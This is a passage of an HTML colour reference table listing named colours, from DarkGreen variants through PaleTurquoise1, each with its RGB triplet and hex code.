<td>0 100 0</td>
<td bgcolor="#e7e7e7">#006400</td>
</tr>
<tr>
<td align="right">DarkOliveGreen</td>
<td bgcolor="#556b2f">DarkOliveGreen</td>
<td>85 107 47</td>
<td bgcolor="#e7e7e7">#556B2F</td>
</tr>
<tr>
<td align="right">DarkSeaGreen</td>
<td bgcolor="#8fbc8f">DarkSeaGreen</td>
<td>143 188 143</td>
<td bgcolor="#e7e7e7">#8FBC8F</td>
</tr>
<tr>
<td align="right">SeaGreen</td>
<td bgcolor="#2e8b57">SeaGreen</td>
<td>46 139 87</td>
<td bgcolor="#e7e7e7">#2E8B57</td>
</tr>
<tr>
<td align="right">MediumSeaGreen</td>
<td bgcolor="#3cb371">MediumSeaGreen</td>
<td>60 179 113</td>
<td bgcolor="#e7e7e7">#3CB371</td>
</tr>
<tr>
<td align="right">LightSeaGreen</td>
<td bgcolor="#20b2aa">LightSeaGreen</td>
<td>32 178 170</td>
<td bgcolor="#e7e7e7">#20B2AA</td>
</tr>
<tr>
<td align="right">PaleGreen</td>
<td bgcolor="#98fb98">PaleGreen</td>
<td>152 251 152</td>
<td bgcolor="#e7e7e7">#98FB98</td>
</tr>
<tr>
<td align="right">SpringGreen</td>
<td bgcolor="#00ff7f">SpringGreen</td>
<td>0 255 127</td>
<td bgcolor="#e7e7e7">#00FF7F</td>
</tr>
<tr>
<td align="right">LawnGreen</td>
<td bgcolor="#7cfc00">LawnGreen</td>
<td>124 252 0</td>
<td bgcolor="#e7e7e7">#7CFC00</td>
</tr>
<tr>
<td align="right">Green</td>
<td bgcolor="#00ff00">Green</td>
<td>0 255 0</td>
<td bgcolor="#e7e7e7">#00FF00</td>
</tr>
<tr>
<td align="right">Chartreuse</td>
<td bgcolor="#7fff00">Chartreuse</td>
<td>127 255 0</td>
<td bgcolor="#e7e7e7">#7FFF00</td>
</tr>
<tr>
<td align="right">MedSpringGreen</td>
<td bgcolor="#00fa9a">MedSpringGreen</td>
<td>0 250 154</td>
<td bgcolor="#e7e7e7">#00FA9A</td>
</tr>
<tr>
<td align="right">GreenYellow</td>
<td bgcolor="#adff2f">GreenYellow</td>
<td>173 255 47</td>
<td bgcolor="#e7e7e7">#ADFF2F</td>
</tr>
<tr>
<td align="right">LimeGreen</td>
<td bgcolor="#32cd32">LimeGreen</td>
<td>50 205 50</td>
<td bgcolor="#e7e7e7">#32CD32</td>
</tr>
<tr>
<td align="right">YellowGreen</td>
<td bgcolor="#9acd32">YellowGreen</td>
<td>154 205 50</td>
<td bgcolor="#e7e7e7">#9ACD32</td>
</tr>
<tr>
<td align="right">ForestGreen</td>
<td bgcolor="#228b22">ForestGreen</td>
<td>34 139 34</td>
<td bgcolor="#e7e7e7">#228B22</td>
</tr>
<tr>
<td align="right">OliveDrab</td>
<td bgcolor="#6b8e23">OliveDrab</td>
<td>107 142 35</td>
<td bgcolor="#e7e7e7">#6B8E23</td>
</tr>
<tr>
<td align="right">DarkKhaki</td>
<td bgcolor="#bdb76b">DarkKhaki</td>
<td>189 183 107</td>
<td bgcolor="#e7e7e7">#BDB76B</td>
</tr>
<tr>
<td align="right">PaleGoldenrod</td>
<td bgcolor="#eee8aa">PaleGoldenrod</td>
<td>238 232 170</td>
<td bgcolor="#e7e7e7">#EEE8AA</td>
</tr>
<tr>
<td align="right">LtGoldenrodYello</td>
<td bgcolor="#fafad2">LtGoldenrodYello</td>
<td>250 250 210</td>
<td bgcolor="#e7e7e7">#FAFAD2</td>
</tr>
<tr>
<td align="right">LightYellow</td>
<td bgcolor="#ffffe0">LightYellow</td>
<td>255 255 224</td>
<td bgcolor="#e7e7e7">#FFFFE0</td>
</tr>
<tr>
<td align="right">Yellow</td>
<td bgcolor="#ffff00">Yellow</td>
<td>255 255 0</td>
<td bgcolor="#e7e7e7">#FFFF00</td>
</tr>
<tr>
<td align="right">Gold</td>
<td bgcolor="#ffd700">Gold</td>
<td>255 215 0</td>
<td bgcolor="#e7e7e7">#FFD700</td>
</tr>
<tr>
<td align="right">LightGoldenrod</td>
<td bgcolor="#eedd82">LightGoldenrod</td>
<td>238 221 130</td>
<td bgcolor="#e7e7e7">#EEDD82</td>
</tr>
<tr>
<td align="right">goldenrod</td>
<td bgcolor="#daa520">goldenrod</td>
<td>218 165 32</td>
<td bgcolor="#e7e7e7">#DAA520</td>
</tr>
<tr>
<td align="right">DarkGoldenrod</td>
<td bgcolor="#b8860b">DarkGoldenrod</td>
<td>184 134 11</td>
<td bgcolor="#e7e7e7">#B8860B</td>
</tr>
<tr>
<td align="right">RosyBrown</td>
<td bgcolor="#bc8f8f">RosyBrown</td>
<td>188 143 143</td>
<td bgcolor="#e7e7e7">#BC8F8F</td>
</tr>
<tr>
<td align="right">IndianRed</td>
<td bgcolor="#cd5c5c">IndianRed</td>
<td>205 92 92</td>
<td bgcolor="#e7e7e7">#CD5C5C</td>
</tr>
<tr>
<td align="right">SaddleBrown</td>
<td bgcolor="#8b4513">SaddleBrown</td>
<td>139 69 19</td>
<td bgcolor="#e7e7e7">#8B4513</td>
</tr>
<tr>
<td align="right">Sienna</td>
<td bgcolor="#a0522d">Sienna</td>
<td>160 82 45</td>
<td bgcolor="#e7e7e7">#A0522D</td>
</tr>
<tr>
<td align="right">Peru</td>
<td bgcolor="#cd853f">Peru</td>
<td>205 133 63</td>
<td bgcolor="#e7e7e7">#CD853F</td>
</tr>
<tr>
<td align="right">Burlywood</td>
<td bgcolor="#deb887">Burlywood</td>
<td>222 184 135</td>
<td bgcolor="#e7e7e7">#DEB887</td>
</tr>
<tr>
<td align="right">Beige</td>
<td bgcolor="#f5f5dc">Beige</td>
<td>245 245 220</td>
<td bgcolor="#e7e7e7">#F5F5DC</td>
</tr>
<tr>
<td align="right">Wheat</td>
<td bgcolor="#f5deb3">Wheat</td>
<td>245 222 179</td>
<td bgcolor="#e7e7e7">#F5DEB3</td>
</tr>
<tr>
<td align="right">SandyBrown</td>
<td bgcolor="#f4a460">SandyBrown</td>
<td>244 164 96</td>
<td bgcolor="#e7e7e7">#F4A460</td>
</tr>
<tr>
<td align="right">Tan</td>
<td bgcolor="#d2b48c">Tan</td>
<td>210 180 140</td>
<td bgcolor="#e7e7e7">#D2B48C</td>
</tr>
<tr>
<td align="right">Chocolate</td>
<td bgcolor="#d2691e">Chocolate</td>
<td>210 105 30</td>
<td bgcolor="#e7e7e7">#D2691E</td>
</tr>
<tr>
<td align="right">Firebrick</td>
<td bgcolor="#b22222">Firebrick</td>
<td>178 34 34</td>
<td bgcolor="#e7e7e7">#B22222</td>
</tr>
<tr>
<td align="right">Brown</td>
<td bgcolor="#a52a2a">Brown</td>
<td>165 42 42</td>
<td bgcolor="#e7e7e7">#A52A2A</td>
</tr>
<tr>
<td align="right">DarkSalmon</td>
<td bgcolor="#e9967a">DarkSalmon</td>
<td>233 150 122</td>
<td bgcolor="#e7e7e7">#E9967A</td>
</tr>
<tr>
<td align="right">Salmon</td>
<td bgcolor="#fa8072">Salmon</td>
<td>250 128 114</td>
<td bgcolor="#e7e7e7">#FA8072</td>
</tr>
<tr>
<td align="right">LightSalmon</td>
<td bgcolor="#ffa07a">LightSalmon</td>
<td>255 160 122</td>
<td bgcolor="#e7e7e7">#FFA07A</td>
</tr>
<tr>
<td align="right">Orange</td>
<td bgcolor="#ffa500">Orange</td>
<td>255 165 0</td>
<td bgcolor="#e7e7e7">#FFA500</td>
</tr>
<tr>
<td align="right">DarkOrange</td>
<td bgcolor="#ff8c00">DarkOrange</td>
<td>255 140 0</td>
<td bgcolor="#e7e7e7">#FF8C00</td>
</tr>
<tr>
<td align="right">Coral</td>
<td bgcolor="#ff7f50">Coral</td>
<td>255 127 80</td>
<td bgcolor="#e7e7e7">#FF7F50</td>
</tr>
<tr>
<td align="right">LightCoral</td>
<td bgcolor="#f08080">LightCoral</td>
<td>240 128 128</td>
<td bgcolor="#e7e7e7">#F08080</td>
</tr>
<tr>
<td align="right">Tomato</td>
<td bgcolor="#ff6347">Tomato</td>
<td>255 99 71</td>
<td bgcolor="#e7e7e7">#FF6347</td>
</tr>
<tr>
<td align="right">OrangeRed</td>
<td bgcolor="#ff4500">OrangeRed</td>
<td>255 69 0</td>
<td bgcolor="#e7e7e7">#FF4500</td>
</tr>
<tr>
<td align="right">Red</td>
<td bgcolor="#ff0000">Red</td>
<td>255 0 0</td>
<td bgcolor="#e7e7e7">#FF0000</td>
</tr>
<tr>
<td align="right">HotPink</td>
<td bgcolor="#ff69b4">HotPink</td>
<td>255 105 180</td>
<td bgcolor="#e7e7e7">#FF69B4</td>
</tr>
<tr>
<td align="right">DeepPink</td>
<td bgcolor="#ff1493">DeepPink</td>
<td>255 20 147</td>
<td bgcolor="#e7e7e7">#FF1493</td>
</tr>
<tr>
<td align="right">Pink</td>
<td bgcolor="#ffc0cb">Pink</td>
<td>255 192 203</td>
<td bgcolor="#e7e7e7">#FFC0CB</td>
</tr>
<tr>
<td align="right">LightPink</td>
<td bgcolor="#ffb6c1">LightPink</td>
<td>255 182 193</td>
<td bgcolor="#e7e7e7">#FFB6C1</td>
</tr>
<tr>
<td align="right">PaleVioletRed</td>
<td bgcolor="#db7093">PaleVioletRed</td>
<td>219 112 147</td>
<td bgcolor="#e7e7e7">#DB7093</td>
</tr>
<tr>
<td align="right">Maroon</td>
<td bgcolor="#b03060">Maroon</td>
<td>176 48 96</td>
<td bgcolor="#e7e7e7">#B03060</td>
</tr>
<tr>
<td align="right">MediumVioletRed</td>
<td bgcolor="#c71585">MediumVioletRed</td>
<td>199 21 133</td>
<td bgcolor="#e7e7e7">#C71585</td>
</tr>
<tr>
<td align="right">VioletRed</td>
<td bgcolor="#d02090">VioletRed</td>
<td>208 32 144</td>
<td bgcolor="#e7e7e7">#D02090</td>
</tr>
<tr>
<td align="right">Magenta</td>
<td bgcolor="#ff00ff">Magenta</td>
<td>255 0 255</td>
<td bgcolor="#e7e7e7">#FF00FF</td>
</tr>
<tr>
<td align="right">Violet</td>
<td bgcolor="#ee82ee">Violet</td>
<td>238 130 238</td>
<td bgcolor="#e7e7e7">#EE82EE</td>
</tr>
<tr>
<td align="right">Plum</td>
<td bgcolor="#dda0dd">Plum</td>
<td>221 160 221</td>
<td bgcolor="#e7e7e7">#DDA0DD</td>
</tr>
<tr>
<td align="right">Orchid</td>
<td bgcolor="#da70d6">Orchid</td>
<td>218 112 214</td>
<td bgcolor="#e7e7e7">#DA70D6</td>
</tr>
<tr>
<td align="right">MediumOrchid</td>
<td bgcolor="#ba55d3">MediumOrchid</td>
<td>186 85 211</td>
<td bgcolor="#e7e7e7">#BA55D3</td>
</tr>
<tr>
<td align="right">DarkOrchid</td>
<td bgcolor="#9932cc">DarkOrchid</td>
<td>153 50 204</td>
<td bgcolor="#e7e7e7">#9932CC</td>
</tr>
<tr>
<td align="right">DarkViolet</td>
<td bgcolor="#9400d3">DarkViolet</td>
<td>148 0 211</td>
<td bgcolor="#e7e7e7">#9400D3</td>
</tr>
<tr>
<td align="right">BlueViolet</td>
<td bgcolor="#8a2be2">BlueViolet</td>
<td>138 43 226</td>
<td bgcolor="#e7e7e7">#8A2BE2</td>
</tr>
<tr>
<td align="right">Purple</td>
<td bgcolor="#a020f0">Purple</td>
<td>160 32 240</td>
<td bgcolor="#e7e7e7">#A020F0</td>
</tr>
<tr>
<td align="right">MediumPurple</td>
<td bgcolor="#9370db">MediumPurple</td>
<td>147 112 219</td>
<td bgcolor="#e7e7e7">#9370DB</td>
</tr>
<tr>
<td align="right">Thistle</td>
<td bgcolor="#d8bfd8">Thistle</td>
<td>216 191 216</td>
<td bgcolor="#e7e7e7">#D8BFD8</td>
</tr>
<tr>
<td align="right">Snow1</td>
<td bgcolor="#fffafa">Snow1</td>
<td>255 250 250</td>
<td bgcolor="#e7e7e7">#FFFAFA</td>
</tr>
<tr>
<td align="right">Snow2</td>
<td bgcolor="#eee9e9">Snow2</td>
<td>238 233 233</td>
<td bgcolor="#e7e7e7">#EEE9E9</td>
</tr>
<tr>
<td align="right">Snow3</td>
<td bgcolor="#cdc9c9">Snow3</td>
<td>205 201 201</td>
<td bgcolor="#e7e7e7">#CDC9C9</td>
</tr>
<tr>
<td align="right">Snow4</td>
<td bgcolor="#8b8989">Snow4</td>
<td>139 137 137</td>
<td bgcolor="#e7e7e7">#8B8989</td>
</tr>
<tr>
<td align="right">Seashell1</td>
<td bgcolor="#fff5ee">Seashell1</td>
<td>255 245 238</td>
<td bgcolor="#e7e7e7">#FFF5EE</td>
</tr>
<tr>
<td align="right">Seashell2</td>
<td bgcolor="#eee5de">Seashell2</td>
<td>238 229 222</td>
<td bgcolor="#e7e7e7">#EEE5DE</td>
</tr>
<tr>
<td align="right">Seashell3</td>
<td bgcolor="#cdc5bf">Seashell3</td>
<td>205 197 191</td>
<td bgcolor="#e7e7e7">#CDC5BF</td>
</tr>
<tr>
<td align="right">Seashell4</td>
<td bgcolor="#8b8682">Seashell4</td>
<td>139 134 130</td>
<td bgcolor="#e7e7e7">#8B8682</td>
</tr>
<tr>
<td align="right">AntiqueWhite1</td>
<td bgcolor="#ffefdb">AntiqueWhite1</td>
<td>255 239 219</td>
<td bgcolor="#e7e7e7">#FFEFDB</td>
</tr>
<tr>
<td align="right">AntiqueWhite2</td>
<td bgcolor="#eedfcc">AntiqueWhite2</td>
<td>238 223 204</td>
<td bgcolor="#e7e7e7">#EEDFCC</td>
</tr>
<tr>
<td align="right">AntiqueWhite3</td>
<td bgcolor="#cdc0b0">AntiqueWhite3</td>
<td>205 192 176</td>
<td bgcolor="#e7e7e7">#CDC0B0</td>
</tr>
<tr>
<td align="right">AntiqueWhite4</td>
<td bgcolor="#8b8378">AntiqueWhite4</td>
<td>139 131 120</td>
<td bgcolor="#e7e7e7">#8B8378</td>
</tr>
<tr>
<td align="right">Bisque1</td>
<td bgcolor="#ffe4c4">Bisque1</td>
<td>255 228 196</td>
<td bgcolor="#e7e7e7">#FFE4C4</td>
</tr>
<tr>
<td align="right">Bisque2</td>
<td bgcolor="#eed5b7">Bisque2</td>
<td>238 213 183</td>
<td bgcolor="#e7e7e7">#EED5B7</td>
</tr>
<tr>
<td align="right">Bisque3</td>
<td bgcolor="#cdb79e">Bisque3</td>
<td>205 183 158</td>
<td bgcolor="#e7e7e7">#CDB79E</td>
</tr>
<tr>
<td align="right">Bisque4</td>
<td bgcolor="#8b7d6b">Bisque4</td>
<td>139 125 107</td>
<td bgcolor="#e7e7e7">#8B7D6B</td>
</tr>
<tr>
<td align="right">PeachPuff1</td>
<td bgcolor="#ffdab9">PeachPuff1</td>
<td>255 218 185</td>
<td bgcolor="#e7e7e7">#FFDAB9</td>
</tr>
<tr>
<td align="right">PeachPuff2</td>
<td bgcolor="#eecbad">PeachPuff2</td>
<td>238 203 173</td>
<td bgcolor="#e7e7e7">#EECBAD</td>
</tr>
<tr>
<td align="right">PeachPuff3</td>
<td bgcolor="#cdaf95">PeachPuff3</td>
<td>205 175 149</td>
<td bgcolor="#e7e7e7">#CDAF95</td>
</tr>
<tr>
<td align="right">PeachPuff4</td>
<td bgcolor="#8b7765">PeachPuff4</td>
<td>139 119 101</td>
<td bgcolor="#e7e7e7">#8B7765</td>
</tr>
<tr>
<td align="right">NavajoWhite1</td>
<td bgcolor="#ffdead">NavajoWhite1</td>
<td>255 222 173</td>
<td bgcolor="#e7e7e7">#FFDEAD</td>
</tr>
<tr>
<td align="right">NavajoWhite2</td>
<td bgcolor="#eecfa1">NavajoWhite2</td>
<td>238 207 161</td>
<td bgcolor="#e7e7e7">#EECFA1</td>
</tr>
<tr>
<td align="right">NavajoWhite3</td>
<td bgcolor="#cdb38b">NavajoWhite3</td>
<td>205 179 139</td>
<td bgcolor="#e7e7e7">#CDB38B</td>
</tr>
<tr>
<td align="right">NavajoWhite4</td>
<td bgcolor="#8b795e">NavajoWhite4</td>
<td>139 121 94</td>
<td bgcolor="#e7e7e7">#8B795E</td>
</tr>
<tr>
<td align="right">LemonChiffon1</td>
<td bgcolor="#fffacd">LemonChiffon1</td>
<td>255 250 205</td>
<td bgcolor="#e7e7e7">#FFFACD</td>
</tr>
<tr>
<td align="right">LemonChiffon2</td>
<td bgcolor="#eee9bf">LemonChiffon2</td>
<td>238 233 191</td>
<td bgcolor="#e7e7e7">#EEE9BF</td>
</tr>
<tr>
<td align="right">LemonChiffon3</td>
<td bgcolor="#cdc9a5">LemonChiffon3</td>
<td>205 201 165</td>
<td bgcolor="#e7e7e7">#CDC9A5</td>
</tr>
<tr>
<td align="right">LemonChiffon4</td>
<td bgcolor="#8b8970">LemonChiffon4</td>
<td>139 137 112</td>
<td bgcolor="#e7e7e7">#8B8970</td>
</tr>
<tr>
<td align="right">Cornsilk1</td>
<td bgcolor="#fff8dc">Cornsilk1</td>
<td>255 248 220</td>
<td bgcolor="#e7e7e7">#FFF8DC</td>
</tr>
<tr>
<td align="right">Cornsilk2</td>
<td bgcolor="#eee8cd">Cornsilk2</td>
<td>238 232 205</td>
<td bgcolor="#e7e7e7">#EEE8CD</td>
</tr>
<tr>
<td align="right">Cornsilk3</td>
<td bgcolor="#cdc8b1">Cornsilk3</td>
<td>205 200 177</td>
<td bgcolor="#e7e7e7">#CDC8B1</td>
</tr>
<tr>
<td align="right">Cornsilk4</td>
<td bgcolor="#8b8878">Cornsilk4</td>
<td>139 136 120</td>
<td bgcolor="#e7e7e7">#8B8878</td>
</tr>
<tr>
<td align="right">vory1</td>
<td bgcolor="#fffff0">Ivory1</td>
<td>255 255 240</td>
<td bgcolor="#e7e7e7">#FFFFF0</td>
</tr>
<tr>
<td align="right">vory2</td>
<td bgcolor="#eeeee0">Ivory2</td>
<td>238 238 224</td>
<td bgcolor="#e7e7e7">#EEEEE0</td>
</tr>
<tr>
<td align="right">Ivory3</td>
<td bgcolor="#cdcdc1">Ivory3</td>
<td>205 205 193</td>
<td bgcolor="#e7e7e7">#CDCDC1</td>
</tr>
<tr>
<td align="right">Ivory4</td>
<td bgcolor="#8b8b83">Ivory4</td>
<td>139 139 131</td>
<td bgcolor="#e7e7e7">#8B8B83</td>
</tr>
<tr>
<td align="right">Honeydew1</td>
<td bgcolor="#f0fff0">Honeydew1</td>
<td>240 255 240</td>
<td bgcolor="#e7e7e7">#F0FFF0</td>
</tr>
<tr>
<td align="right">Honeydew2</td>
<td bgcolor="#e0eee0">Honeydew2</td>
<td>224 238 224</td>
<td bgcolor="#e7e7e7">#E0EEE0</td>
</tr>
<tr>
<td align="right">Honeydew3</td>
<td bgcolor="#c1cdc1">Honeydew3</td>
<td>193 205 193</td>
<td bgcolor="#e7e7e7">#C1CDC1</td>
</tr>
<tr>
<td align="right">Honeydew4</td>
<td bgcolor="#838b83">Honeydew4</td>
<td>131 139 131</td>
<td bgcolor="#e7e7e7">#838B83</td>
</tr>
<tr>
<td align="right">LavenderBlush1</td>
<td bgcolor="#fff0f5">LavenderBlush1</td>
<td>255 240 245</td>
<td bgcolor="#e7e7e7">#FFF0F5</td>
</tr>
<tr>
<td align="right">LavenderBlush2</td>
<td bgcolor="#eee0e5">LavenderBlush2</td>
<td>238 224 229</td>
<td bgcolor="#e7e7e7">#EEE0E5</td>
</tr>
<tr>
<td align="right">LavenderBlush3</td>
<td bgcolor="#cdc1c5">LavenderBlush3</td>
<td>205 193 197</td>
<td bgcolor="#e7e7e7">#CDC1C5</td>
</tr>
<tr>
<td align="right">LavenderBlush4</td>
<td bgcolor="#8b8386">LavenderBlush4</td>
<td>139 131 134</td>
<td bgcolor="#e7e7e7">#8B8386</td>
</tr>
<tr>
<td align="right">MistyRose1</td>
<td bgcolor="#ffe4e1">MistyRose1</td>
<td>255 228 225</td>
<td bgcolor="#e7e7e7">#FFE4E1</td>
</tr>
<tr>
<td align="right">MistyRose2</td>
<td bgcolor="#eed5d2">MistyRose2</td>
<td>238 213 210</td>
<td bgcolor="#e7e7e7">#EED5D2</td>
</tr>
<tr>
<td align="right">MistyRose3</td>
<td bgcolor="#cdb7b5">MistyRose3</td>
<td>205 183 181</td>
<td bgcolor="#e7e7e7">#CDB7B5</td>
</tr>
<tr>
<td align="right">MistyRose4</td>
<td bgcolor="#8b7d7b">MistyRose4</td>
<td>139 125 123</td>
<td bgcolor="#e7e7e7">#8B7D7B</td>
</tr>
<tr>
<td align="right">Azure1</td>
<td bgcolor="#f0ffff">Azure1</td>
<td>240 255 255</td>
<td bgcolor="#e7e7e7">#F0FFFF</td>
</tr>
<tr>
<td align="right">Azure2</td>
<td bgcolor="#e0eeee">Azure2</td>
<td>224 238 238</td>
<td bgcolor="#e7e7e7">#E0EEEE</td>
</tr>
<tr>
<td align="right">Azure3</td>
<td bgcolor="#c1cdcd">Azure3</td>
<td>193 205 205</td>
<td bgcolor="#e7e7e7">#C1CDCD</td>
</tr>
<tr>
<td align="right">Azure4</td>
<td bgcolor="#838b8b">Azure4</td>
<td>131 139 139</td>
<td bgcolor="#e7e7e7">#838B8B</td>
</tr>
<tr>
<td align="right">SlateBlue1</td>
<td bgcolor="#836fff">SlateBlue1</td>
<td>131 111 255</td>
<td bgcolor="#e7e7e7">#836FFF</td>
</tr>
<tr>
<td align="right">SlateBlue2</td>
<td bgcolor="#7a67ee">SlateBlue2</td>
<td>122 103 238</td>
<td bgcolor="#e7e7e7">#7A67EE</td>
</tr>
<tr>
<td align="right">SlateBlue3</td>
<td bgcolor="#6959cd">SlateBlue3</td>
<td>105 89 205</td>
<td bgcolor="#e7e7e7">#6959CD</td>
</tr>
<tr>
<td align="right">SlateBlue4</td>
<td bgcolor="#473c8b">SlateBlue4</td>
<td>71 60 139</td>
<td bgcolor="#e7e7e7">#473C8B</td>
</tr>
<tr>
<td align="right">RoyalBlue1</td>
<td bgcolor="#4876ff">RoyalBlue1</td>
<td>72 118 255</td>
<td bgcolor="#e7e7e7">#4876FF</td>
</tr>
<tr>
<td align="right">RoyalBlue2</td>
<td bgcolor="#436eee">RoyalBlue2</td>
<td>67 110 238</td>
<td bgcolor="#e7e7e7">#436EEE</td>
</tr>
<tr>
<td align="right">RoyalBlue3</td>
<td bgcolor="#3a5fcd">RoyalBlue3</td>
<td>58 95 205</td>
<td bgcolor="#e7e7e7">#3A5FCD</td>
</tr>
<tr>
<td align="right">RoyalBlue4</td>
<td bgcolor="#27408b">RoyalBlue4</td>
<td>39 64 139</td>
<td bgcolor="#e7e7e7">#27408B</td>
</tr>
<tr>
<td align="right">Blue1</td>
<td bgcolor="#0000ff">Blue1</td>
<td>0 0 255</td>
<td bgcolor="#e7e7e7">#0000FF</td>
</tr>
<tr>
<td align="right">Blue2</td>
<td bgcolor="#0000ee">Blue2</td>
<td>0 0 238</td>
<td bgcolor="#e7e7e7">#0000EE</td>
</tr>
<tr>
<td align="right">Blue3</td>
<td bgcolor="#0000cd">Blue3</td>
<td>0 0 205</td>
<td bgcolor="#e7e7e7">#0000CD</td>
</tr>
<tr>
<td align="right">Blue4</td>
<td bgcolor="#00008b">Blue4</td>
<td>0 0 139</td>
<td bgcolor="#e7e7e7">#00008B</td>
</tr>
<tr>
<td align="right">DodgerBlue1</td>
<td bgcolor="#1e90ff">DodgerBlue1</td>
<td>30 144 255</td>
<td bgcolor="#e7e7e7">#1E90FF</td>
</tr>
<tr>
<td align="right">DodgerBlue2</td>
<td bgcolor="#1c86ee">DodgerBlue2</td>
<td>28 134 238</td>
<td bgcolor="#e7e7e7">#1C86EE</td>
</tr>
<tr>
<td align="right">DodgerBlue3</td>
<td bgcolor="#1874cd">DodgerBlue3</td>
<td>24 116 205</td>
<td bgcolor="#e7e7e7">#1874CD</td>
</tr>
<tr>
<td align="right">DodgerBlue4</td>
<td bgcolor="#104e8b">DodgerBlue4</td>
<td>16 78 139</td>
<td bgcolor="#e7e7e7">#104E8B</td>
</tr>
<tr>
<td align="right">SteelBlue1</td>
<td bgcolor="#63b8ff">SteelBlue1</td>
<td>99 184 255</td>
<td bgcolor="#e7e7e7">#63B8FF</td>
</tr>
<tr>
<td align="right">SteelBlue2</td>
<td bgcolor="#5cacee">SteelBlue2</td>
<td>92 172 238</td>
<td bgcolor="#e7e7e7">#5CACEE</td>
</tr>
<tr>
<td align="right">SteelBlue3</td>
<td bgcolor="#4f94cd">SteelBlue3</td>
<td>79 148 205</td>
<td bgcolor="#e7e7e7">#4F94CD</td>
</tr>
<tr>
<td align="right">SteelBlue4</td>
<td bgcolor="#36648b">SteelBlue4</td>
<td>54 100 139</td>
<td bgcolor="#e7e7e7">#36648B</td>
</tr>
<tr>
<td align="right">DeepSkyBlue1</td>
<td bgcolor="#00bfff">DeepSkyBlue1</td>
<td>0 191 255</td>
<td bgcolor="#e7e7e7">#00BFFF</td>
</tr>
<tr>
<td align="right">DeepSkyBlue2</td>
<td bgcolor="#00b2ee">DeepSkyBlue2</td>
<td>0 178 238</td>
<td bgcolor="#e7e7e7">#00B2EE</td>
</tr>
<tr>
<td align="right">DeepSkyBlue3</td>
<td bgcolor="#009acd">DeepSkyBlue3</td>
<td>0 154 205</td>
<td bgcolor="#e7e7e7">#009ACD</td>
</tr>
<tr>
<td align="right">DeepSkyBlue4</td>
<td bgcolor="#00688b">DeepSkyBlue4</td>
<td>0 104 139</td>
<td bgcolor="#e7e7e7">#00688B</td>
</tr>
<tr>
<td align="right">SkyBlue1</td>
<td bgcolor="#87ceff">SkyBlue1</td>
<td>135 206 255</td>
<td bgcolor="#e7e7e7">#87CEFF</td>
</tr>
<tr>
<td align="right">SkyBlue2</td>
<td bgcolor="#7ec0ee">SkyBlue2</td>
<td>126 192 238</td>
<td bgcolor="#e7e7e7">#7EC0EE</td>
</tr>
<tr>
<td align="right">SkyBlue3</td>
<td bgcolor="#6ca6cd">SkyBlue3</td>
<td>108 166 205</td>
<td bgcolor="#e7e7e7">#6CA6CD</td>
</tr>
<tr>
<td align="right">SkyBlue4</td>
<td bgcolor="#4a708b">SkyBlue4</td>
<td>74 112 139</td>
<td bgcolor="#e7e7e7">#4A708B</td>
</tr>
<tr>
<td align="right">LightSkyBlue1</td>
<td bgcolor="#b0e2ff">LightSkyBlue1</td>
<td>176 226 255</td>
<td bgcolor="#e7e7e7">#B0E2FF</td>
</tr>
<tr>
<td align="right">LightSkyBlue2</td>
<td bgcolor="#a4d3ee">LightSkyBlue2</td>
<td>164 211 238</td>
<td bgcolor="#e7e7e7">#A4D3EE</td>
</tr>
<tr>
<td align="right">LightSkyBlue3</td>
<td bgcolor="#8db6cd">LightSkyBlue3</td>
<td>141 182 205</td>
<td bgcolor="#e7e7e7">#8DB6CD</td>
</tr>
<tr>
<td align="right">LightSkyBlue4</td>
<td bgcolor="#607b8b">LightSkyBlue4</td>
<td>96 123 139</td>
<td bgcolor="#e7e7e7">#607B8B</td>
</tr>
<tr>
<td align="right">SlateGray1</td>
<td bgcolor="#c6e2ff">SlateGray1</td>
<td>198 226 255</td>
<td bgcolor="#e7e7e7">#C6E2FF</td>
</tr>
<tr>
<td align="right">SlateGray2</td>
<td bgcolor="#b9d3ee">SlateGray2</td>
<td>185 211 238</td>
<td bgcolor="#e7e7e7">#B9D3EE</td>
</tr>
<tr>
<td align="right">SlateGray3</td>
<td bgcolor="#9fb6cd">SlateGray3</td>
<td>159 182 205</td>
<td bgcolor="#e7e7e7">#9FB6CD</td>
</tr>
<tr>
<td align="right">SlateGray4</td>
<td bgcolor="#6c7b8b">SlateGray4</td>
<td>108 123 139</td>
<td bgcolor="#e7e7e7">#6C7B8B</td>
</tr>
<tr>
<td align="right">LightSteelBlue1</td>
<td bgcolor="#cae1ff">LightSteelBlue1</td>
<td>202 225 255</td>
<td bgcolor="#e7e7e7">#CAE1FF</td>
</tr>
<tr>
<td align="right">LightSteelBlue2</td>
<td bgcolor="#bcd2ee">LightSteelBlue2</td>
<td>188 210 238</td>
<td bgcolor="#e7e7e7">#BCD2EE</td>
</tr>
<tr>
<td align="right">LightSteelBlue3</td>
<td bgcolor="#a2b5cd">LightSteelBlue3</td>
<td>162 181 205</td>
<td bgcolor="#e7e7e7">#A2B5CD</td>
</tr>
<tr>
<td align="right">LightSteelBlue4</td>
<td bgcolor="#6e7b8b">LightSteelBlue4</td>
<td>110 123 139</td>
<td bgcolor="#e7e7e7">#6E7B8B</td>
</tr>
<tr>
<td align="right">LightBlue1</td>
<td bgcolor="#bfefff">LightBlue1</td>
<td>191 239 255</td>
<td bgcolor="#e7e7e7">#BFEFFF</td>
</tr>
<tr>
<td align="right">LightBlue2</td>
<td bgcolor="#b2dfee">LightBlue2</td>
<td>178 223 238</td>
<td bgcolor="#e7e7e7">#B2DFEE</td>
</tr>
<tr>
<td align="right">LightBlue3</td>
<td bgcolor="#9ac0cd">LightBlue3</td>
<td>154 192 205</td>
<td bgcolor="#e7e7e7">#9AC0CD</td>
</tr>
<tr>
<td align="right">LightBlue4</td>
<td bgcolor="#68838b">LightBlue4</td>
<td>104 131 139</td>
<td bgcolor="#e7e7e7">#68838B</td>
</tr>
<tr>
<td align="right">LightCyan1</td>
<td bgcolor="#e0ffff">LightCyan1</td>
<td>224 255 255</td>
<td bgcolor="#e7e7e7">#E0FFFF</td>
</tr>
<tr>
<td align="right">LightCyan2</td>
<td bgcolor="#d1eeee">LightCyan2</td>
<td>209 238 238</td>
<td bgcolor="#e7e7e7">#D1EEEE</td>
</tr>
<tr>
<td align="right">LightCyan3</td>
<td bgcolor="#b4cdcd">LightCyan3</td>
<td>180 205 205</td>
<td bgcolor="#e7e7e7">#B4CDCD</td>
</tr>
<tr>
<td align="right">LightCyan4</td>
<td bgcolor="#7a8b8b">LightCyan4</td>
<td>122 139 139</td>
<td bgcolor="#e7e7e7">#7A8B8B</td>
</tr>
<tr>
<td align="right">PaleTurquoise1</td>
<td bgcolor="#bbffff">PaleTurquoise1</td>
<td>187 255 255</td>
